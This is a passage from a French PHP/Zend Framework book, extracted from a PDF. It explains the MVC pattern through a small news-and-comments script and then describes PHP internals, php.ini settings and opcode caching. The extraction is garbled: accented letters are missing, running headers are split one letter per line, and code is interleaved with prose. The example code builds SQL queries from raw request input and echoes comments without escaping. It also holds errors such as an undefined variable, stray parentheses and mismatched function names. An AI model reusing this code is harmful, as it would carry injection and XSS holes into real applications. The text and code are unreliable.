rant en PHP, langage destin lorigine fusionner du code de traite-
ment avec du code de prsentation de donnes.
Des avantages pour le travail en quipe
Utiliser un modle MVC offre lavantage de pouvoir sparer les rles de
chaque personne au sein du projet :
Le dveloppeur : il aura la charge de programmer la partie modle et les
bibliothques. Il est comptent en PHP, sait interagir avec un SGBD,
possde des notions de scurit au regard de la validation des donnes et
pourra accessoirement participer ltape dintgration ou danalyse.
Lintgrateur : il sagit de la personne ayant un regard global sur
lapplication. Focalise sur le processus des contrleurs, elle saura
faire le lien entre un modle et une vue, cest--dire btir une applica-
tion cohrente partir des fonctionnalits et du design.
RENVOI MVC dans la pratique
La pratique du modle MVC de Zend Framework
est largement dtaille aux chapitres 6 et 7.
INFO MVC et autres langages
La pratique de MVC est trs classique dans
dautres langages relatifs au Web, par exemple
Rails pour Ruby, Struts pour Java (J2EE) ou encore
Django pour Python.
E


L
e

p
a
t
t
e
r
n

M
V
C

e
n

t
h

o
r
i
e
Groupe Eyrolles, 2008
385
Le designer : cette personne est trs laise avec les technologies
(x)HTML, JavaScript, XML, CSS et tout ce qui touche au gra-
phisme et lIHM sur le Web. Elle est responsable des templates
(gabarits de prsentation) et du design graphique du projet. Elle
naura pas se soucier de la provenance des donnes quelle mettra en
page, et utilisera des donnes fictives pour prparer ses pages.
Voici ce qui est gnralement constat. Il est maintenant possible de
diviser ces rles autrement. Ce quil faut noter ici, cest que ce systme
permet une rpartition bien organise de comptences htrognes
autour dun mme projet.
Chaque acteur pourra travailler en parallle, sans (trop) se soucier des
aspects techniques qui ne le concernent pas. Par exemple, un intgrateur
naura ni besoin dattendre quune base de donnes soit prte, ni quun
template de prsentation dun formulaire soit termin : il pourra muler
tout ceci pour travailler sur sa partie et fournir un travail compatible avec
celui des autres parties.
Des avantages pour le dveloppement et la
maintenance
Nous pouvons attribuer dautres avantages MVC :
La sparation des couches simplifie les mises jour : en effet, changer le
design dune application web se rvle plus simple. On sait dj quil
ne sera pas ncessaire deffectuer des mises jour lourdes, mais sim-
plement une partie du code de la vue.
Figure E1
Principe du pattern MVC
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
386
Lorganisation du projet est plus cadre : un systme MVC fournit une
architecture physique bien pense. Les fichiers et les rpertoires de
lapplication doivent se trouver un endroit prcis, avec des noms
prcis, et contenir un code organis dune certaine manire. Le dve-
loppement est mieux organis et il est plus facile de revenir dessus
aprs une longue attente, ou de grer un projet de grande taille.
Mais aussi quelques inconvnients :
Une sparation logique qui implique un code trs rigoureux : pour un
petit projet, il ne sera peut-tre pas utile davoir une implmentation
MVC complte. De mme, pour un projet dont les performances et
la stabilit sont stratgiques, un moteur MVC peut avoir un impact
sur les performances, en particulier cause du nombre dobjets lev
(mme si ces problmatiques trouvent aussi des solutions efficaces).
Une configuration complmentaire : un moteur MVC, notamment la
partie contrleur, possde une configuration qui permet de remodeler
les URL, dtourner les mcanismes par dfaut, etc. force dexcep-
tion il est possible de se retrouver avec un sac de nuds qui annule
tout lintrt de MVC, cest--dire une organisation claire. Il est sou-
vent ncessaire de bien comprendre le fonctionnement complet du
modle utilis.
MVC schmatis
Voyons de manire plus pratique, le concept de MVC.
Une implmentation intuitive
Analysons le code suivant :
Code source dune toute petite application PHP
<?php
$connect = mysql_connect('myserver', 'mylogin', 'mypassword');
mysql_select_db('myDB');
array_walk($_POST,'mysql_escape_string');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$news_id = $_POST['news_id'];
mysql_query("INSERT INTO commentaires
SET news_id='$news_id',
auteur='{$_POST['auteur']}',
texte='{$_POST['texte']}',
date=NOW()");

E


L
e

p
a
t
t
e
r
n

M
V
C

e
n

t
h

o
r
i
e
Groupe Eyrolles, 2008
387
Ce code est un code MVC. Tout code est un code MVC, cependant
celui-ci na pas t pens comme tel.
En effet, les trois couches ne sont pas spares. Il nest pas possible de les
distinguer clairement, mais elles sont bien prsentes. Il en rsulte ainsi :
un mlange qui rend la comprhension du code difficile par une per-
sonne ny ayant pas particip ;
header("location: ".htmlentities($_SERVER['PHP_SELF'])."
?news_id=$news_id");
exit;
} else {
$news_id = (int)$_GET['news_id'];
}
<html>
<head>
<title>Les news</title>
</head>
<body>
<h1>Les news</h1>
<div id="news">
<?php
$news = mysql_fetch_array(mysql_query("SELECT * FROM news
WHERE id='$news_id'")); ?>
<h2><?php echo $news['titre']; ?> poste le
<?php echo $news['date']; ?></h2>
<p><?php echo $news['texte_nouvelle']; ?> </p>
<?php
$nbre_comment = mysql_num_rows(
$comment_req = mysql_query(
"SELECT * FROM commentaires
WHERE news_id='$news_id'"));
?>
<h3><?php echo $nbre_comment; ?>
commentaires relatifs cette nouvelle :</h3>
<?php while ($comment = mysql_fetch_array($comment_req)) { ?>
<h3><?php echo $comment['auteur']; ?> a crit le
<?php echo $comment['date']; ?></h3>
<p><?php echo $comment['texte']; ?></p>
<?php } ?>
<form method="POST" action="
<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" name="ajoutcomment">
<input type="hidden" name="news_id" value="
<?php echo $news_id; ?>">
<input type="text" name="auteur" value="Votre nom"><br />
<textarea name="texte" rows="5" cols="10">
Saisissez votre commentaire</textarea><br />
<input type="submit" name="submit" value="Envoyer">
</form>
</div>
</body>
</html>
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
388
des difficults normes de maintenance : sil faut changer le HTML
pour du XML, cela peut prendre beaucoup de temps ;
une testabilit rduite : il nest pas possible dcrire des tests efficaces,
vrifiant un scnario ou un comportement prcis.
Limplmentation MVC
Afin darriver un schma tel que celui prsent sur la figure E-2, il est
ncessaire de remanier le code. Nous allons ainsi faire apparatre distinc-
tement ces trois couches :
Modle
Figure E2
Schma gnral dun modle MVC
<?php
function dbconnect()
{
static $connect = null;
if ($connect === null) {
$connect = mysql_connect(
'myserver', 'mylogin', 'mypassword');
mysql_select_db('myDB');
}
return $connect;
}
function get_news($id)
{
$news_req = mysql_query("SELECT * FROM news
WHERE id='$news_id'",dbconnect());
return mysql_fetch_array($news_req);
}
E


L
e

p
a
t
t
e
r
n

M
V
C

e
n

t
h

o
r
i
e
Groupe Eyrolles, 2008
389
Vue
function get_comment($news_id)
{
$comment_req = mysql_query("SELECT * FROM commentaires
WHERE
news_id='$news_id'",dbconnect());
$result = array();
while ($comment = mysql_fetch_array($comment_req)) {
$result[] = $comment;
}
return $result;
}
function insert_comment($comment)
{
mysql_query("INSERT INTO commentaires SET
news_id='{$comment['news_id']}',
auteur ='{$comment['auteur'])}',
texte ='{$comment['texte'])}',
date=NOW()" ,dbconnect() );
}
<html>
<head>
<title>Les news</title>
</head>
<body>
<h1>Les news</h1>
<div id="news">
<h2><?php echo $news['titre'] ?> poste le
<?php echo $news['date'] ?></h2>
<p><?php echo $news['texte_nouvelle'] ?> </p>
<h3><?php echo $nbre_comment ?> commentaires relatifs cette nouvelle</h3>
<?php foreach ($comments AS $comment) {?>
<h3><?php echo $comment['auteur'] ?> a crit le
<?php echo $comment['date'] ?></h3>
<p><?php echo $comment['texte'] ?></p>
<?php } ?>
<form method="POST" action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>"
name="ajoutcomment">
<input type="hidden" name="news_id"
value="<?php echo $news_id?>">
<input type="text" name="auteur" value="Votre nom"><br />
<textarea name="texte" rows="5" cols="10">
Saisissez votre commentaire</textarea><br />
<input type="submit" name="submit" value="Envoyer">
</form>
</div>
</body>
</html>
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
390
Contrleur
Ce code effectue les mmes oprations que dans lexemple prcdent,
mais il a simplement t crit dune autre manire. Celle-ci permet de
mettre en vidence les trois couches logiques dun modle MVC.
On apprcie immdiatement le fait que lon puisse tester chaque couche
indpendamment de lautre, de la mme manire que trois personnes
distinctes pourront travailler chacune sur sa partie.
Bien quil soit plus flexible, le modle simpliste montr ci-dessus va rapi-
dement prsenter des limites dans un contexte plus gnral :
changer de SGBD nest pas simple ;
des redondances vont apparatre dans le modle : slections, inser-
tions, mises jour, suppressions (ces quatre oprations de base, trs
redondantes, sont appeles CRUD Create, Read, Update, Delete) ;
des redondances entre les contrleurs vont apparatre : filtrage des
donnes dentre, traitements avec le modle, ncessit dune authen-
tification ventuelle, dmarrage de la session... ;
des redondances vont apparatre dans les vues : elles devraient en gnral
tre intgres dans une vue plus gnrale reprsentant le reste du site.
Et les bibliothques ?
Pour terminer sur cette partie pratique, nous devons avoir en tte un der-
nier point important considrer pour larchitecture de toute
application :
La partie MVC de lapplication lui est fortement spcifique. Si vous devez
faire une autre application, vous repartirez souvent de zro ou dupli-
querez lexistant pour le remanier, sauf si vous prenez la peine de mti-
culeusement refondre le code au fur et mesure de vos projets, ce qui est
bien entendu conseill, voire indispensable (dveloppement par itra-
tion).
<?php
require ('mymodel.php');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
array_walk($_POST,'mysql_escape_string');
insert_comment($_POST);
header("HTTP/1.1 301 Moved Permanently");
header("location: {htmlentities({$_SERVER['PHP_SELF']})}? news_id={$_POST['news_id']}");
exit;
} else {
$news = get_news((int)$_GET['news_id']);
$comments = get_comments((int)$_GET['news_id']);
require ('myview.php');
}
E


L
e

p
a
t
t
e
r
n

M
V
C

e
n

t
h

o
r
i
e
Groupe Eyrolles, 2008
391
Les bibliothques ne concernent pas MVC et sont quant elles forte-
ment gnriques. Il sagit dune couche infrieure la couche MVC,
qui fournit des fonctionnalits pratiques que lon peut utiliser dans
nimporte quelle application.
Vous lavez compris, les bibliothques sont faites pour tre rutilises. Il
est parfois intressant, lorsque lon souhaite mettre en place un mca-
nisme gnrique tel que la gestion des utilisateurs, par exemple, de dve-
lopper sa propre bibliothque utiliser dans plusieurs applications en
mme temps. Nous abordons ce sujet plus prcisment dans le chapitre 6
de cet ouvrage, consacr Zend_Controller.
Groupe Eyrolles, 2008
F
Comment fonctionne
PHP ?
Il est parfaitement possible de conduire une voiture
sans connatre sa mcanique interne. Quest-ce que
cela apporterait de plus ? Les passionns de lautomobile
vous le diront, on ne conduit pas de la mme manire quand,
chaque fois quon sollicite une pdale ou un lment
du tableau de bord, on sait ce qui se passe lintrieur.
On entretient galement diffremment sa voiture, et on peut
loptimiser pour en obtenir de meilleures performances. PHP
est ainsi la voiture du dveloppeur web.
SOMMAIRE
BComprendre la composition
et lenvironnement de PHP
BOptimiser ses dveloppements
grce ces connaissances
MOTS-CLS
BPHP
BSAPI
Bextension
BHTTP
Bopcode
Bcompilation
Binterprtation
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
394
Cette annexe a pour objectif de vous faire connatre PHP davantage
quen surface. Nous allons aborder de manire simple le fonctionnement
interne et lenvironnement logiciel qui entoure PHP. Ces connaissances
vont vous permettre dexploiter efficacement tout le potentiel de PHP,
en termes de dveloppement et de maintenance.
PHP, quest-ce que cest ?
PHP est un programme qui a sduit des millions de dveloppeurs. La
manire dont il a t dvelopp est en partie responsable de cette popu-
larit. Voici quelques caractristiques stratgiques de PHP :
PHP est souple et permissif, il propose un confort dutilisation in-
gal, alors que dautres langages ncessitent beaucoup de rigueur et
de connaissances thoriques ;
PHP fonctionne aussi bien indpendamment quen couple : on peut
utiliser lexcutable PHP tout seul, ou lemployer travers un autre
excutable, tel quApache ;
PHP est facilement extensible, il accepte de multiples fonctionnalits
travers son systme dextensions. Cela augmente le nombre de
classes et de fonctions natives disponibles, donc de fonctionnalits
possibles ;
PHP est optimis pour conomiser des ressources, que ce soit celles
de la machine ou celles du dveloppeur. Cela augmente les perfor-
mances de la machine... et du dveloppeur.
Principe de fonctionnement
Comme nous le disions, PHP peut fonctionner de manire autonome ou
coupl un autre programme. Le plus frquemment, PHP est associ
un serveur HTTP comme Apache. Ce dernier gre la couche web de
lensemble, cest--dire les interactions avec les visiteurs, via le protocole
HTTP, tandis que PHP gre la couche dynamique, cest--dire la gn-
ration du code (x)HTML et la gestion des donnes utilisateurs.
Utilisation autonome
Ce type dutilisation est le plus simple. Il consiste simplement, comme
illustr sur la figure F-1, utiliser un excutable (php.exe sous Win-
dows, php sous Unix/Linux) pour excuter du code PHP.
T Apache
Le serveur HTTP Apache est trs rpandu et fonc-
tionne souvent de pair avec PHP. Celui-ci a pour
rle de livrer les pages web et les mdias (images,
sons, etc.) au visiteur. Il est en communication
directe avec le navigateur du client (Firefox,
Internet Explorer, Opra...).
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
395
Pour ce mode autonome, on parle aussi dutilisation en ligne de com-
mande (ou utilisation CLI), car cest bien souvent laide dun terminal,
en ligne de commande, que lon excute des scripts PHP.
Si vous navez jamais utilis PHP de cette manire, vous pouvez expri-
menter cela trs simplement. Il vous suffit de crer un fichier contenant
du code PHP, tel que le montre cet exemple :
Fichier test_cli.php
Sous Windows, reprez lemplacement de lexcutable php.exe et ouvrez
une invite de commandes cet endroit. Sous Unix/Linux, par dfaut,
lexcutable php est accessible partout.
Excution sous Windows
Figure F1
Les deux utilisations les plus courantes de PHP
<?php
print_r($_SERVER['argv']);
$ php.exe C:\chemin\vers\test_cli.php
// affiche :
Array
(
[0] => test_cli.php
)
$ php.exe C:\chemin\vers\test_cli.php
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
396
Excution sous UNIX/Linux
PHP permet daccder aux variables denvironnement du systme dexploi-
tation et de la console. Il est galement possible daccder des donnes pas-
ses en argument, comme le montrent les exemples prcdents.
On peut utiliser PHP en ligne de commande pour faire des scripts de
maintenance, des services (ou dmons) et tout type dapplication utilisable
de cette manire, que lon peut galement dvelopper avec bash ou Perl.
Utilisation avec un serveur HTTP
Il sagit de lutilisation la plus courante de PHP. Cest grce ce cou-
plage, illustr sur la figure F-1, que lon peut crer des applications sp-
cialises pour le Web.
Le serveur HTTP est souvent lapplication Apache, mais vous pouvez
lier PHP dautres serveurs, tels que IIS, Caudium, Zeus, bref quasi-
ment tous les serveurs HTTP disponibles.
Il est possible, avec PHP, daccder lenvironnement du serveur
HTTP, cest--dire des variables qui contiennent des informations utiles
pour un site web : la requte effectue (QUERY_STRING), les paramtres de
// affiche :
Array
(
[0] => test_cli.php
[1] => 1
[2] => 2
[3] => bonjour le monde
)
$ php test_cli.php
// affiche :
Array
(
[0] => test_cli.php
)
$ php test_cli.php
// affiche :
Array
(
[0] => test_cli.php
[1] => 1
[2] => 2
[3] => bonjour le monde
)
REMARQUE Threads et forks
PHP ne sait pas grer nativement les threads (des
extensions non stables proposent cette fonction-
nalit). En revanche, sous Unix/Linux, PHP sait
grer les processus et notamment le fork via des
fonctions comme pcntl_fork(). Ceci peut
savrer intressant pour crer des applications
excutant plusieurs tches simultanment, comme
de la compression dimage par exemple.
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
397
formulaires ($_GET, $_POST) ou encore des informations sur le visiteur.
On utilise pour cela les superglobales $_SERVER et $_ENV.
Le rle du serveur HTTP est de transmettre la requte PHP, dans un
premier temps, puis de renvoyer le rsultat gnr par PHP ou une page
statique dans un second temps. Cela parat simple, mais un serveur
HTTP est souvent une machine complexe qui doit assurer un minimum
de scurit entre PHP et lextrieur, sadapter au protocole HTTP, faire de
la cryptographie ou encore de la compression de donnes en temps rel.
PHP reoit les donnes du serveur HTTP, les traite, et les retransmet.
Lorsque linstruction echo est utilise dans PHP, les donnes sont exp-
dies au serveur HTTP (via un buffer) qui les transmet au client.
Composition
Il est temps ici de se pencher sur la mcanique interne de PHP. Nous
nirons pas jusqu dtailler lensemble des composants lmentaires qui
constituent PHP, mais au moins les principaux.
La figure F-2 illustre de manire simplifie les principaux composants
dun excutable PHP.
Le Zend Core est au cur de lexcutable PHP. Cest ce composant
qui gre les ressources primaires telles que la mmoire et les traite-
ments bas niveau comme lexcution du code compil. Il est entre
autres directement responsable des performances de PHP.
Le PHP Core est un composant un peu plus haut niveau, qui fournit
les fonctionnalits de base (instructions telles que echo, print) et gre
lenvironnement de PHP.
CONSEIL tudiez un serveur web
tudier un serveur web, comme le permet le projet
open source Apache, est trs instructif plus dun
titre. Aussi, tudier la nature des changes quil ra-
lise avec PHP pendant son fonctionnement permet
de mieux apprhender le fonctionnement du couple
et de prendre des mesures en consquence.
IMPORTANT Optimisation du serveur web
Optimiser le serveur web sans parler PHP donc
est une des premires tapes doptimisation du
temps de rponse dune application web. Ceci se
dcompose en tapes, certaines simples, dautres
plus complexes, qui sortent du cadre de cet ouvrage.
Figure F2
La composition interne de PHP
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
398
La couche SAPI est une interface utile pour les dveloppeurs. Cest
grce elle que lon peut crer des extensions, lier PHP avec dautres
programmes ou proposer des interactions rapides (couplage fort).
Elle fournit des outils pour accder au PHP Core et au Zend Core.
Les extensions peuvent tre compiles dans PHP ou lextrieur. On
parle de bibliothques statiques et dynamiques. Elles fournissent des
fonctionnalits complmentaires PHP : classes, fonctions, variables
et constantes. Les extensions usuelles sont documentes sur le site
officiel de PHP.
Le serveur web peut tre li PHP de diffrentes manires. Soit PHP
est une extension du serveur (car PHP peut tre lui aussi une biblio-
thque statique ou dynamique pour Apache), soit le serveur HTTP
utilise linterprteur PHP en mode CGI, tel quil est frquent de le
faire avec Perl.
Voil, nous savons maintenant que lorsque nous sollicitons PHP, la
requte est compile par PHP Core et Zend Core, puis excute avec
dventuelles sollicitations dextensions.
Environnement
Pour pouvoir fonctionner correctement, PHP doit tre accompagn dun
environnement adapt. Nous appelons environnement lensemble des logi-
ciels qui interagissent de prs ou de loin avec notre langage. Les caractris-
tiques de cet environnement sont pour la plupart accessibles dans PHP et
peuvent galement modifier le comportement de notre langage.
Parmi ces logiciels, nous pouvons citer :
le systme dexploitation : son type (Unix/Windows), sa configuration
(locale, types MIME, jeux de caractres, systme de fichiers, varia-
bles denvironnement etc.), son comportement interne (noyau, com-
pilateurs, etc.) ;
les extensions : leurs caractristiques (fonctionnalits, versions), leurs
configurations (directives dans php.ini, directives de compilation),
leur nombre et leur type dassociation PHP (statique ou
dynamique) ;
le support direct : son type (serveur HTTP, ligne de commandes, ges-
tionnaire graphique gtk), sa configuration, sa liaison avec PHP (sta-
tique ou dynamique), ses variables denvironnement, etc. ;
les programmes et services disponibles sur le systme dexploitation : le
serveur proxy, les commandes disponibles, les dmons et leurs proto-
coles (LDAP, FTP, SSH, etc.).
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
399
Toutes ces entits peuvent avoir un impact plus ou moins important sur
le comportement de PHP, notamment :
le contenu des superglobales $_SERVER et $_ENV ;
le comportement de certaines extensions (date et heure, etc.) ;
la scurit (commandes et ressources disponibles, fragilit du sys-
tme, etc.) ;
la disponibilit de certaines fonctions (Windows propose COM,
mais Unix propose plus de fonctions relatives POSIX).
Conseils pour paramtrer son environnement
Ces quelques rgles de principe vous seront utiles pour optimiser lenvi-
ronnement de PHP, donc ses performances et sa stabilit. Paramtrer
lenvironnement est un travail notamment trs important en production.
Limiter au ncessaire : plus un environnement est encombr de pro-
grammes et de fichiers inutiles, plus il est vulnrable et potentielle-
ment instable. Dautre part, la scurit gnrale du serveur peut tre
altre par la prsence des dmons qui coutent inutilement des ports
de votre machine, les programmes dangereux que lon peut appeler
avec les fonctions exec() ou system() et ainsi de suite.
Adopter des standards : il vous sera plus facile dvoluer dans un envi-
ronnement comportant des jeux de caractres universels, des proto-
coles largement utiliss et des formats de fichiers lisibles. Des
organismes de normalisation ont pour responsabilit de proposer ces
standards (Oasis, W3C).
Blinder les accs : nous pourrions faire tourner PHP avec le super-uti-
lisateur (root sous Unix), cela serait trs pratique. En revanche, cest
un problme vident pour la scurit. Un systme dexploitation,
notamment le systme de fichiers, se paramtre de manire ce que
toute action de PHP soit non fatale pour le serveur.
Compiler sparment : compiler ses programmes, tels que PHP et
Apache, peut tre bnfique pour assurer plus de stabilit et de per-
formance. En revanche, laccs un environnement de compilation
nest pas sr dun point de vue scurit. Ne donnez pas accs aux
compilateurs nimporte qui. Pour bien faire, certaines entreprises
ont un serveur ddi la compilation ; les programmes une fois com-
pils sont expdis sur les serveurs de production.
La compilation permet dj dliminer ce qui ne vous plat pas dans le
programme, mais aussi den tirer un binaire, le plus lger possible, dans
lequel les extensions trs utilises seront fusionnes (on parle de compila-
tion de module en statique ). Il en rsulte un gain des performances gn-
rales peu important mais toujours bon prendre (en moyenne 5 %).
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
400
Soyez organis ds le dpart : savoir o ranger ses fichiers de configura-
tion, les logs, les fichiers temporaires, les bases de donnes et tous ces
dtails qui peuvent prendre beaucoup de place, est important. Cela
facilite la maintenance et la matrise globale du systme.
Paramtrer le fichier php.ini
Nous allons dtailler quelques directives du fichier php.ini pour un
environnement de dveloppement Zend Framework optimal. Accessoi-
rement, nous donnerons quelques conseils pour la production, mme si
la configuration de celle-ci reste un problme complexe.
zend.ze1_compatibility_mode = off, passer cette directive on pro-
voquera le basculement du comportement objet de PHP vers PHP 4,
ce qui bien entendu est impensable.
short_open_tag = off, la convenance. Certaines personnes aiment
utiliser <? ou encore <?= dans les vues, dautres non. Nous prfrons
la valeur off afin dtre srs que le script peut tourner sur tout ser-
veur. Zend_View propose des options ce sujet.
output_buffering = off, en dveloppement, mieux vaut un buffer de
sortie, comme cela toute fuite den-tte Apache sera dtecte facile-
ment. Si le tampon est activ, les en-ttes sont placs en mmoire
tampon et mis dans lordre par PHP. Les bonnes pratiques recom-
mandent vraiment de grer son flux HTTP manuellement. En pro-
duction, il faut un tampon pour des raisons de performance, et une
valeur de 4096 (ou plus si besoin) est convenable. De fins rglages
avec les buffers Apache et TCP permettent mme de soulager lgre-
ment une machine dj essouffle.
allow_call_time_pass_reference = off, le Zend Engine 2 de
PHP 5 est capable deffectuer des optimisations lexcution lorsque
les fonctions utilisent des rfrences dans leurs dclarations plutt
qu lappel de la fonction. Laissez cette valeur sur off, afin que toute
fausse manipulation vous soit notifie par une erreur.
safe_mode = off, le safe mode est dprci. Zend Framework ne
fonctionnera pas convenablement ou mme pas du tout si celui-ci est
activ.
open_basedir = , dsactiv. Peut tre intressant en production pour
une meilleure scurit, mme si celle-ci doit tre assure par lOS ce
niveau (et un code convenable aussi). Attention si vous lutilisez :
Zend Framework devra alors avoir accs tous les dossiers dont vous
avez besoin.
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
401
max_execution_time = 7 , non, nous nallons pas vous donner de
valeur correcte, car chacun trouvera la sienne. Plus srieusement, un
script ne doit pas prendre sept secondes sexcuter... Mais en dve-
loppement on peut rencontrer quelques situations ncessitant une
valeur plus leve. Rappelez-vous en production : plus vous donnez
de temps un pirate potentiel, plus il entrera facilement.
error_reporting = E_ALL | E_STRICT, toutes les erreurs doivent tre
signales, en dveloppement comme en production.
display_errors = on, en dveloppement, mais off en production. Il
ne faut pas afficher derreurs PHP lutilisateur (ou au pirate).
log_errors = off, en dveloppement cest comme on le souhaite. En
production, les erreurs doivent tre listes dans un journal propre.
track_errors = on, Zend Framework utilise $php_errormsg pour
convertir certaines erreurs PHP en exceptions. Laisser cette option
on vitera des appels ini_set() inutiles.
register_globals = off, nul besoin de variables globales, cette
directive est off par dfaut et devrait le rester.
register_long_arrays = off, par dfaut off, et devrait le rester pour
des raisons de performance.
magic_quotes_gpc = off, Zend Framework soccupe souvent des
caractres dchappement pour les requtes SQL notre place.
Laissez cette directive off : vous obtiendrez un gain de perfor-
mances, et naurez pas de surprises sur les variables dentre GPC.
auto_prepend_file = , il peut tre intressant dinsrer un fichier
dans cette directive comportant les directives dautoload de Zend
Framework.
always_populate_raw_post_data = off, si vous utilisez PHP<5.2.3
avec Zend_Soap, activez cette option.
include_path = path/to/zf, le Zend Framework devrait figurer en
premier dans cette liste. Les appels linclude_path sont squentiels,
et la grande majorit des fichiers chargs par une application sont des
classes Zend. Les performances en seront amliores.
allow_url_fopen = on, si vous voulez consommer des services web,
ou vous connecter sur une machine externe, il vaut mieux passer cette
option on au risque de se voir refuser des connexions externes.
allow_url_include = off, pour des raisons de scurit.
date.timezone = "Europe/Paris", ou le fuseau horaire de votre
machine. Sans timezone, Zend_Date fonctionnera mal et retournera
des erreurs PHP.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
402
Comment optimiser PHP ?
Il est possible doptimiser lexcution de PHP. Bien sr ces oprations ne
peuvent se substituer un code lent, notamment si cest d des requtes
SQL ou des processus indpendants des performances natives de PHP.
Avant doptimiser PHP, il est important de comprendre le fonctionne-
ment interne des processus que lon veut acclrer :
laccs aux fichiers source (includes, requires) ;
le processus de compilation la vole (gnration dopcode).
En ralit, comme nous le montre la figure F-3, tout est une question de
sollicitation des ressources. Notre but sera donc de :
rduire les sollicitations du processeur, notamment les oprations
redondantes ;
rduire les appels de fonctions au niveau du noyau du systme
dexploitation (stat...) ;
rduire les accs disque, qui sont lents ;
privilgier les accs en mmoire RAM, qui sont rapides, dans la
mesure de la capacit disponible.
Dans un environnement non optimis, chaque requte HTTP fait appel
beaucoup de fichiers (un accs fichier par include en moyenne) et utilise
la mmoire uniquement pour les donnes utilisateurs et les mtadonnes
ncessaires linterprtation des requtes. Chaque requte HTTP vers
un applicatif PHP va donc devoir imposer de chercher les fichiers inclus
T Opcode
Les opcodes sont des instructions de bas niveau,
proches des instructions du microprocesseur, rsul-
tant de la compilation dun code PHP. Une fois
gnrs, les opcodes sont excuts par un compo-
sant interne appel Zend Executor.
Figure F3
Principe de loptimisation
des accs aux ressources
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
403
par le programme sur le disque, les analyser syntaxiquement (tape dite
de parsing), les compiler, et les excuter.
Dans un environnement optimis, on va mettre en uvre deux
principes :
viter de faire plusieurs appels disque alors quun seul suffirait ;
viter danalyser et de compiler chaque fois les mmes fichiers dans la
mesure ou ils ne changent pas ;
cest le rle des sections Rduire les accs disque et Rduire les phases de
compilation ci-aprs.
Rduire les accs disque
Un accs disque est lent, car il sagit dune action mcanique. Imaginez
que votre application ncessite en moyenne 150 include par requte
HTTP : cela fait au moins 150 accs disque, donc 150 oprations physi-
ques. Ceci sans compter les appels logiques. Le disque dur ne va pas se
mettre en activit tout seul, cest le systme dexploitation qui va le
piloter, au moyen de ses fonctions noyau (dites kernel). Bien sr, les dis-
ques et les systmes modernes sont rapides, mais la multiplication des
requtes et des inclusions de fichiers dans le code PHP peut savrer
nfaste pour les performances.
Cest pourquoi il existe une solution trs simple que la plupart des fra-
meworks utilisent (dont le Zend Framework), qui consiste rassembler
en un seul fichier lensemble du code frquemment utilis.
Ainsi, chaque requte, le nombre daccs disque sera rduit. Au
maximum, on peut mettre tout le code de lapplication dans un seul
fichier, mais cela implique un deuxime problme : une grande partie du
code interprt ne sera pas utilis par la requte HTTP, et sera donc
compil pour rien. Heureusement il existe une solution cela : le cache
dopcode dont il est question dans la section suivante.
Rduire les phases de compilation
lexcution dun script, le code PHP est pars (analys syntaxique-
ment), puis compil avant dtre excut et de fournir le rsultat attendu.
Toutes ces oprations ont un cot, notamment la phase de compilation.
Cette phase de compilation est redondante partir du moment o un
visiteur appelle la mme page ou fait appel au mme processus. Cette
redondance peut tre vite en mettant de ct les opcodes compils afin
de les excuter par la suite sans avoir effectuer le parsing et la compila-
tion, qui sont des processus coteux.
T Parsing, compilation
PHP, vous en avez lhabitude, est une suite dins-
tructions spares par des points-virgules. Toutes
ces instructions qui nous sont faciles lire doivent
tre remanies pour tre lisibles par lordinateur.
Le parsing consiste dblayer le terrain en faisant
un parcours des fichiers PHP et en rassemblant les
instructions. Le fameux parse error est gnr
par le parseur de PHP. Ensuite, le compilateur entre
en scne pour prendre les instructions rcupres
et les transformer en tableaux dopcodes, que le
Zend Executor, composant interne de PHP, pourra
lire pour fournir le rsultat attendu. Voyez les fonc-
tions daccs au parseur, telles que
token_get_all() ou token_name().
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
404
La figure F-4 illustre bien le rle du cache dopcode :
sans cache : parsing + compilation + excution tout le temps ;
avec cache : parsing + compilation + excution une fois, puis excu-
tion seulement toutes les autres fois.
Il existe plusieurs extensions PHP qui permettent de faire du cache
dopcode. La plus connue sappelle APC (http://www.php.net/apc) et sera
intgre dans les futures versions de PHP.
Nous pouvons encore citer Zend Optimizer, eAccelerator, XCache, ion-
Cube, Turck MMCache...
Aperu du cache APC
APC est le cache dopcode libre et gratuit de PHP, en vogue ces temps-
ci. Cest celui qui possde actuellement le meilleur suivi, et certains de
ses concepteurs lutilisent dans leurs entreprises respectives, dont Face-
book (Brian Shire) et Yahoo (Rasmus Lerdorf ).
Pour installer APC, il faut passer par PECL :
Pour Windows, il faut tlcharger la dll depuis http://pecl4win.php.net.
APC ajoute des options au fichier php.ini, et celles-ci sont trs impor-
